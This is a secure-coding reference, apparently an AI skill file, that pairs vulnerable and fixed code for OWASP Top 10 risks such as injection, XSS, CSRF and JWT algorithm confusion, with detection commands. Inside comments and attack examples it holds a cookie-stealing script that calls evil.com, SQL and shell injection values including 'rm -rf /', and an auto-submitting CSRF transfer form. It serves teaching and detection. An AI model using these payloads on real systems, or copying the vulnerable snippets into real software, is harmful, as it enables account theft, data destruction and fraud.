Owasp Top 10

OWASP Top 10

Protect against the most critical web security risks.

1. Broken Access Control

# ❌ Bad: No authorization check
@app.route('/api/users/<user_id>')
def get_user(user_id):
    return db.query(f"SELECT * FROM users WHERE id = {user_id}")

# ✅ Good: Verify user can access resource
@app.route('/api/users/<user_id>')
@login_required
def get_user(user_id):
    if current_user.id != user_id and not current_user.is_admin:
        abort(403)
    return db.query("SELECT * FROM users WHERE id = ?", [user_id])

2. Cryptographic Failures

# ❌ Bad: Weak hashing
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

# ✅ Good: Strong hashing
from argon2 import PasswordHasher
ph = PasswordHasher()
password_hash = ph.hash(password)

3. Injection

# ❌ Bad: SQL injection vulnerable
query = f"SELECT * FROM users WHERE email = '{email}'"

# ✅ Good: Parameterized query
query = "SELECT * FROM users WHERE email = ?"
db.execute(query, [email])

4. Insecure Design

• No rate limiting on login
• Sequential/guessable IDs
• No CAPTCHA on sensitive operations

Fix: Use UUIDs, implement rate limiting, threat model early.

5. Security Misconfiguration

# ❌ Bad: Debug mode in production
app.debug = True

# ✅ Good: Environment-based config
app.debug = os.getenv('FLASK_ENV') == 'development'

6. Vulnerable Components

# Scan for vulnerabilities
npm audit
pip-audit

# Fix vulnerabilities
npm audit fix

7. Authentication Failures

# ✅ Strong password requirements
def validate_password(password):
    if len(password) < 12:
        return "Password must be 12+ characters"
    if not re.search(r"[A-Z]", password):
        return "Must contain uppercase"
    if not re.search(r"[0-9]", password):
        return "Must contain number"
    return None

JWT Security (OWASP Best Practices)

import jwt
import hashlib
import secrets
from datetime import datetime, timezone, timedelta

# ❌ Bad: Trust algorithm from header
payload = jwt.decode(token, SECRET, algorithms=jwt.get_unverified_header(token)['alg'])

# ✅ Good: Hardcode expected algorithm (prevents algorithm confusion attacks)
def verify_jwt(token: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=['HS256'],  # NEVER read from header
            options={
                'require': ['exp', 'iat', 'iss', 'aud'],  # Required claims
            }
        )

        # Validate issuer and audience
        if payload['iss'] != EXPECTED_ISSUER:
            raise jwt.InvalidIssuerError()
        if payload['aud'] != EXPECTED_AUDIENCE:
            raise jwt.InvalidAudienceError()

        return payload
    except jwt.ExpiredSignatureError:
        raise AuthError("Token expired")
    except jwt.InvalidTokenError as e:
        raise AuthError(f"Invalid token: {e}")

# Token sidejacking protection (OWASP recommended)
def create_protected_token(user_id: str, response) -> str:
    """Create token with user context to prevent sidejacking."""
    # Generate random fingerprint
    fingerprint = secrets.token_urlsafe(32)

    # Store fingerprint hash in token (not raw value)
    payload = {
        'user_id': user_id,
        'fingerprint': hashlib.sha256(fingerprint.encode()).hexdigest(),
        'exp': datetime.now(timezone.utc) + timedelta(minutes=15),
        'iat': datetime.now(timezone.utc),
        'iss': ISSUER,
        'aud': AUDIENCE,
    }

    # Send raw fingerprint as hardened cookie
    response.set_cookie(
        '__Secure-Fgp',  # Cookie prefix for extra security
        fingerprint,
        httponly=True,
        secure=True,
        samesite='Strict',
        max_age=900  # 15 min
    )

    return jwt.encode(payload, SECRET_KEY, algorithm='HS256')

JWT Security Checklist:

• [ ] Hardcode algorithm (never read from header)
• [ ] Validate: exp, iat, iss, aud claims
• [ ] Short expiry (15 min - 1 hour)
• [ ] Use refresh token rotation for longer sessions
• [ ] Implement token denylist for logout/revocation

8. Data Integrity Failures

<!-- Use SRI for CDN scripts -->
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-..."
        crossorigin="anonymous"></script>

9. Logging Failures

# ✅ Log security events
@app.route('/login', methods=['POST'])
def login():
    user = authenticate(email, password)
    if user:
        logger.info(f"Successful login: {email}")
    else:
        logger.warning(f"Failed login: {email}")

10. SSRF (Server-Side Request Forgery)

# ❌ Bad: Fetch any URL
response = requests.get(user_provided_url)

# ✅ Good: Allowlist domains
ALLOWED = ['api.example.com']
if urlparse(url).hostname not in ALLOWED:
    abort(400)

Quick Checklist

• [ ] Authorization on all endpoints
• [ ] Passwords hashed with bcrypt/argon2
• [ ] Parameterized queries only
• [ ] Rate limiting enabled
• [ ] Debug mode off in production
• [ ] Dependencies scanned regularly
• [ ] Security events logged

Related Skills

• auth-patterns - Authentication implementation
• input-validation - Sanitization patterns
• security-scanning - Automated scanning

Capability Details

injection

Keywords: sql injection, command injection, injection, parameterized Solves:

• Prevent SQL injection
• Fix command injection
• Use parameterized queries

access-control

Keywords: access control, authorization, idor, privilege Solves:

• Fix broken access control
• Prevent IDOR vulnerabilities
• Implement authorization checks

owasp-fixes

Keywords: fix, mitigation, example, vulnerability Solves:

• OWASP vulnerability fixes
• Mitigation examples
• Code fix patterns

OWASP Top 10 - Vulnerable vs Secure Code

Real examples showing vulnerable code and their secure alternatives.

A01: Broken Access Control

❌ Vulnerable: Direct Object Reference

@app.get("/api/documents/{doc_id}")
def get_document(doc_id: int):
    # Anyone can access any document by guessing IDs
    return db.query(Document).get(doc_id)

✅ Secure: Authorization Check

@app.get("/api/documents/{doc_id}")
def get_document(doc_id: int, current_user: User = Depends(get_current_user)):
    doc = db.query(Document).get(doc_id)
    if doc.owner_id != current_user.id and not current_user.is_admin:
        raise HTTPException(403, "Access denied")
    return doc

A02: Cryptographic Failures

❌ Vulnerable: Weak Hashing

import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

✅ Secure: Modern Password Hashing

from passlib.hash import argon2
password_hash = argon2.hash(password)
# Verify: argon2.verify(password, password_hash)

A03: Injection

❌ Vulnerable: SQL Injection

query = f"SELECT * FROM users WHERE name = '{name}'"
cursor.execute(query)  # name = "'; DROP TABLE users; --"

✅ Secure: Parameterized Query

cursor.execute("SELECT * FROM users WHERE name = %s", (name,))
# Or with ORM:
db.query(User).filter(User.name == name).first()

❌ Vulnerable: Command Injection

import os
os.system(f"convert {filename} output.png")  # filename = "; rm -rf /"

✅ Secure: Use subprocess with list args

import subprocess
subprocess.run(["convert", filename, "output.png"], check=True)

A05: Security Misconfiguration

❌ Vulnerable: Debug in Production

app = Flask(__name__)
app.run(debug=True)  # Exposes debugger, allows code execution

✅ Secure: Environment-based Config

app = Flask(__name__)
app.run(debug=os.getenv("FLASK_ENV") == "development")

❌ Vulnerable: CORS Allow All

CORS(app, origins="*", allow_credentials=True)

✅ Secure: Explicit Origins

CORS(app, origins=["https://app.example.com"], allow_credentials=True)

A07: XSS (Cross-Site Scripting)

❌ Vulnerable: Unescaped Output

element.innerHTML = userInput;  // userInput = "<script>stealCookies()</script>"

✅ Secure: Text Content or Sanitization

element.textContent = userInput;  // Automatically escaped
// Or with sanitization:
element.innerHTML = DOMPurify.sanitize(userInput);

React (Safe by Default)

// ✅ Safe - React escapes by default
<div>{userInput}</div>

// ❌ Dangerous - explicitly bypasses escaping
<div dangerouslySetInnerHTML={{__html: userInput}} />

A08: Insecure Deserialization

❌ Vulnerable: Pickle from Untrusted Source

import pickle
data = pickle.loads(user_input)  # Can execute arbitrary code

✅ Secure: Use JSON

import json
data = json.loads(user_input)  # Only parses data, no code execution

Quick Reference

Vulnerability Demonstrations

Interactive examples showing how common vulnerabilities work and how to fix them.

---

SQL Injection

Vulnerable Code

# DO NOT USE - Example only
from fastapi import FastAPI, Query
import sqlite3

app = FastAPI()

@app.get("/users/search")
def search_users(username: str = Query(...)):
    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()

    # VULNERABLE: User input directly in query
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)

    return cursor.fetchall()

# Attack payload: username = "' OR '1'='1' --"
# Resulting query: SELECT * FROM users WHERE username = '' OR '1'='1' --'
# This returns ALL users in the database

Secure Code

# Safe implementation using parameterized queries
from fastapi import FastAPI, Query
import sqlite3

app = FastAPI()

@app.get("/users/search")
def search_users(username: str = Query(..., min_length=1, max_length=50)):
    conn = sqlite3.connect("app.db")
    cursor = conn.cursor()

    # SAFE: Parameterized query - input is escaped by the driver
    cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

    return cursor.fetchall()

# With SQLAlchemy ORM (preferred)
from sqlalchemy.orm import Session
from models import User

def search_users_orm(db: Session, username: str):
    # SAFE: ORM handles parameterization
    return db.query(User).filter(User.username == username).first()

Detection

• Pattern to find: f"SELECT, f"INSERT, f"UPDATE, f"DELETE, + "SELECT
• Bandit rule: B608 (hardcoded_sql_expressions)
• Semgrep rule: python.lang.security.audit.formatted-sql-query

# Detect with Bandit
bandit -r . -t B608

# Detect with Semgrep
semgrep --config "p/sql-injection" .

# Grep for f-string SQL
grep -rn "f\"SELECT\|f\"INSERT\|f\"UPDATE\|f\"DELETE" --include="*.py" .

---

Cross-Site Scripting (XSS)

Vulnerable Code

// DO NOT USE - Example only

// Reflected XSS - Dangerous innerHTML
function displayMessage() {
    const urlParams = new URLSearchParams(window.location.search);
    const message = urlParams.get('message');

    // VULNERABLE: User input directly inserted as HTML
    document.getElementById('output').innerHTML = message;
}

// Attack payload: ?message=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
// This executes JavaScript that steals cookies

# DO NOT USE - Server-side XSS (Flask)
from flask import Flask, request

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', '')

    # VULNERABLE: User input in HTML response
    return f"<h1>Hello, {name}!</h1>"

# Attack: /greet?name=<script>alert('XSS')</script>

Secure Code

// Safe implementation using textContent
function displayMessage() {
    const urlParams = new URLSearchParams(window.location.search);
    const message = urlParams.get('message');

    // SAFE: textContent escapes HTML entities
    document.getElementById('output').textContent = message;
}

// If HTML is required, use DOMPurify
import DOMPurify from 'dompurify';

function displayRichMessage() {
    const urlParams = new URLSearchParams(window.location.search);
    const message = urlParams.get('message');

    // SAFE: DOMPurify removes malicious content
    document.getElementById('output').innerHTML = DOMPurify.sanitize(message);
}

# Safe implementation using template escaping
from flask import Flask, request, render_template_string
from markupsafe import escape

app = Flask(__name__)

@app.route('/greet')
def greet():
    name = request.args.get('name', '')

    # SAFE: escape() converts <script> to &lt;script&gt;
    return f"<h1>Hello, {escape(name)}!</h1>"

# Or use Jinja2 templates (auto-escape by default)
@app.route('/greet-template')
def greet_template():
    return render_template_string(
        "<h1>Hello, {{ name }}!</h1>",  # Auto-escaped
        name=request.args.get('name', '')
    )

Detection

• Pattern to find: .innerHTML =, dangerouslySetInnerHTML, v-html=
• ESLint rule: no-unsanitized/property
• Semgrep rule: javascript.browser.security.insecure-document-method

# Detect with Semgrep
semgrep --config "p/xss" .

# Grep for innerHTML
grep -rn "\.innerHTML\s*=" --include="*.js" --include="*.jsx" --include="*.ts" --include="*.tsx" .

# React dangerouslySetInnerHTML
grep -rn "dangerouslySetInnerHTML" --include="*.jsx" --include="*.tsx" .

---

Cross-Site Request Forgery (CSRF)

Vulnerable Code

# DO NOT USE - Example only
from fastapi import FastAPI, Form

app = FastAPI()

@app.post("/transfer")
async def transfer_money(
    to_account: str = Form(...),
    amount: float = Form(...)
):
    # VULNERABLE: No CSRF protection
    # Attacker can create a form on evil.com that submits to this endpoint
    # When victim visits evil.com while logged in, their session cookie is sent
    perform_transfer(to_account, amount)
    return {"status": "success"}

<!-- Attacker's page on evil.com -->
<!-- DO NOT USE - Attack example only -->
<html>
<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to_account" value="ATTACKER123" />
    <input type="hidden" name="amount" value="10000" />
  </form>
</body>
</html>

Secure Code

# Safe implementation with CSRF tokens
from fastapi import FastAPI, Form, Depends, HTTPException, Request
from fastapi.responses import HTMLResponse
import secrets
from starlette.middleware.sessions import SessionMiddleware

app = FastAPI()
app.add_middleware(SessionMiddleware, secret_key="your-secret-key")

def get_csrf_token(request: Request) -> str:
    if "csrf_token" not in request.session:
        request.session["csrf_token"] = secrets.token_urlsafe(32)
    return request.session["csrf_token"]

def verify_csrf_token(request: Request, csrf_token: str = Form(...)):
    if request.session.get("csrf_token") != csrf_token:
        raise HTTPException(status_code=403, detail="CSRF token mismatch")

@app.get("/transfer-form")
async def transfer_form(request: Request):
    token = get_csrf_token(request)
    return HTMLResponse(f"""
        <form method="POST" action="/transfer">
            <input type="hidden" name="csrf_token" value="{token}" />
            <input name="to_account" placeholder="Account" />
            <input name="amount" type="number" placeholder="Amount" />
            <button type="submit">Transfer</button>
        </form>
    """)

@app.post("/transfer")
async def transfer_money(
    request: Request,
    to_account: str = Form(...),
    amount: float = Form(...),
    _: None = Depends(verify_csrf_token)  # CSRF check
):
    # SAFE: Request will fail without valid CSRF token
    perform_transfer(to_account, amount)
    return {"status": "success"}

# Alternative: SameSite cookies (modern approach)
from fastapi import FastAPI, Response

@app.post("/login")
async def login(response: Response, username: str, password: str):
    # Authenticate user...

    # SAFE: SameSite=Strict prevents cross-origin cookie sending
    response.set_cookie(
        key="session_id",
        value=session_token,
        httponly=True,
        secure=True,
        samesite="strict"  # Key protection
    )
    return {"status": "logged_in"}

Detection

• Check for: Missing CSRF tokens in forms, cookies without SameSite
• Semgrep rule: python.django.security.audit.csrf-exempt

# Check cookie settings
grep -rn "set_cookie\|setCookie" --include="*.py" --include="*.js" . | grep -v "samesite"

# Django CSRF exempt decorators
grep -rn "@csrf_exempt" --include="*.py" .

# Check forms without CSRF tokens
grep -rn "<form" --include="*.html" . | grep -v "csrf"

---

Authentication Bypass

Vulnerable Code

# DO NOT USE - Example only
from fastapi import FastAPI, Header
import jwt

app = FastAPI()
SECRET_KEY = "mysecret"

@app.get("/admin")
async def admin_panel(authorization: str = Header(...)):
    token = authorization.replace("Bearer ", "")

    # VULNERABLE: Algorithm read from token header (algorithm confusion attack)
    header = jwt.get_unverified_header(token)
    payload = jwt.decode(token, SECRET_KEY, algorithms=[header['alg']])

    # Attacker can set alg="none" or use public key as HMAC secret
    if payload.get("role") == "admin":
        return {"admin_data": "sensitive"}
    return {"error": "Not admin"}

# DO NOT USE - Password comparison vulnerable to timing attack
import hmac

def check_password(stored_hash: str, provided_hash: str) -> bool:
    # VULNERABLE: Early exit reveals password length
    if len(stored_hash) != len(provided_hash):
        return False

    # VULNERABLE: Character-by-character comparison
    for a, b in zip(stored_hash, provided_hash):
        if a != b:
            return False
    return True

Secure Code

# Safe implementation with hardcoded algorithm
from fastapi import FastAPI, Header, HTTPException, Depends
import jwt
from datetime import datetime, timedelta

app = FastAPI()
SECRET_KEY = "your-256-bit-secret"
ALGORITHM = "HS256"

def verify_token(authorization: str = Header(...)):
    try:
        token = authorization.replace("Bearer ", "")

        # SAFE: Algorithm is hardcoded, not read from token
        payload = jwt.decode(
            token,
            SECRET_KEY,
            algorithms=[ALGORITHM],  # Fixed algorithm
            options={
                "require": ["exp", "iat", "sub"],  # Required claims
            }
        )

        return payload
    except jwt.ExpiredSignatureError:
        raise HTTPException(401, "Token expired")
    except jwt.InvalidTokenError:
        raise HTTPException(401, "Invalid token")

@app.get("/admin")
async def admin_panel(payload: dict = Depends(verify_token)):
    if payload.get("role") != "admin":
        raise HTTPException(403, "Admin access required")
    return {"admin_data": "sensitive"}

# Safe password comparison using constant-time comparison
import hmac
import hashlib

def check_password_secure(stored_hash: str, provided_password: str) -> bool:
    # Hash the provided password
    provided_hash = hashlib.sha256(provided_password.encode()).hexdigest()

    # SAFE: hmac.compare_digest uses constant-time comparison
    return hmac.compare_digest(stored_hash, provided_hash)

# Better: Use a proper password hashing library
from passlib.hash import argon2

def verify_password(plain_password: str, hashed_password: str) -> bool:
    # SAFE: Argon2 handles timing-safe comparison internally
    return argon2.verify(plain_password, hashed_password)

Detection

• JWT patterns: jwt.get_unverified_header, algorithms= with variable
• Password patterns: Manual string comparison, missing hmac.compare_digest

# JWT algorithm confusion
grep -rn "get_unverified_header\|algorithms=\[" --include="*.py" .

# Timing attack vulnerable comparisons
semgrep --config "p/python-security-audit" .

# Check for weak password hashing
grep -rn "md5\|sha1\|sha256" --include="*.py" . | grep -i password

---

Summary Table

Related Skills

• input-validation - Sanitization patterns
• auth-patterns - Authentication implementation
• security-scanning - Automated detection